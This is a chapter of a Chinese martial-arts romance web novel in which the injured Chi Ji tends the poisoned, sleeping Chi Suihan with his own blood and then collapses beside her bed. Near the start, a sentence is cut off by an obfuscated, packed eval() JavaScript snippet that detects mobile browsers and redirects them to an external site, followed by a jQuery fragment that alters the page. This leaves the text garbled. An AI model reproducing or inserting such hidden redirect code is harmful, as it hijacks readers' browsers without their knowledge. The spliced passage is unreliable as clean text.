不知是真的太累,还是体内余毒未清,她还未来得及熄灭蜡烛,便整个人倒在床上昏沉睡去。 池戟醒来时,夜色已深,万籁俱寂,只有风声偶尔呼啸而过。 他尝试着运气,随之而来的是五脏六腑遭鼠蚁啃噬般的剧痛。近日内两次蛊虫发作,彻底扰乱了他内力流转,本就强弩之末的身体已渐渐有些支撑不住。 漆黑房间中,池戟睁着眼睛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374123|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动不动躺了许久,身体才终于稍好些。 他掀开被子,胸口仍觉闷得发慌,便拖着一条伤腿推开门,想出去透口气。 白日里热闹的街道此刻已无半点光亮,唯独隔壁房间烛光摇曳。 是阿姐的屋子。 这般晚了,她也未睡? 鬼使神差般,池戟走到门前,抬手轻叩。 无人应声。 他又叩了两下,低声唤道:“阿姐?” 仍是寂静。 心头忽地涌起不安,他顾不上礼数,也顾不得池岁寒会不会动怒,推门而入。 屋内池岁寒侧躺在床上,被子压在身下,外衫褪了大半,露出半边满是伤痕的肩膀。 屋里的药味尚未散尽。 池戟呼吸一滞,不知该留还是该走。 他的目光落在那些伤痕上,心脏不自觉地抽痛。他认得那伤口上的药,那是元向安为冯一天专门调配的,药效虽佳,涂上时却是钻心般的疼痛。 她本不必受这份罪的。 自己非但帮不上忙,还要她来救。 池戟闭上眼,只觉自己当真是无耻之人。他一边心如刀绞,一边又抑制不住心底那点隐秘的欢喜。 原来她睡着时是这般模样。长睫偶尔轻颤,没有了平日里拒人于千里之外的淡漠,亦失了那运筹帷幄的冷硬外壳。她柔和得像一块白玉,就这样静静地,毫无防备地躺在他面前。 而这样的池岁寒只有他见过,此时此刻,甚至连呼吸都只属于他一人。 只有他。 池戟在床边站了许久才终于冷静下来,小心翼翼地伸出手,却在离她脸颊只有半寸处硬生生停住。最终只是轻手轻脚地替她拉上滑落的衣衫。 那肩头露在外面太久,皮肤已经冰凉,被池戟燥热的指尖碰到时,池岁寒下意识缩了缩。 池戟不敢再动,确认她仍睡着,才小心将她抱起,放回床中央,替她盖好被子。一举一动皆是轻柔,全不似白日里那只嗜血的猛兽。 安顿好她,池戟在床边坐下,轻轻搭上她的脉搏。 脉象尚算平稳,但内力流转不畅。他小心探入内力查探,竟发现是残留的寒毒。 此毒乃元向安所制,本是冯一天所求,为了能控制属下所用。 如今冯一天已死,理应无人再有此毒,如何会出现在池岁寒身上? 他垂下眼,没有丝毫犹豫,从腰间抽出短刀,在自己已满是伤痕的小臂上又划开一道口子。 他的血正好能压制此毒,也能补她亏空的气血。 他将伤口送至池岁寒唇边,轻轻捏开她的下颌,让血滴入她口中。如此一来,待明日她醒来时,体内余毒便该去得差不多了。 待伤口不再流血,池戟从衣摆撕下一截布条,胡乱缠上,便准备起身离开。 才离开座椅,他双脚便一软,眼前天旋地转。他下意识去扶床沿,却没能撑住,整个人滑了下去,跌坐在地,上半身伏在床沿。 他本就伤得更重,又流了许多血,此刻也到了极限。 趁着最后一丝清醒,他将脸转向熟睡的池岁寒,映入眼帘的是她安静的侧脸。 如此近,又如此远。 池戟再撑不住,眼前一黑,坠入黑暗。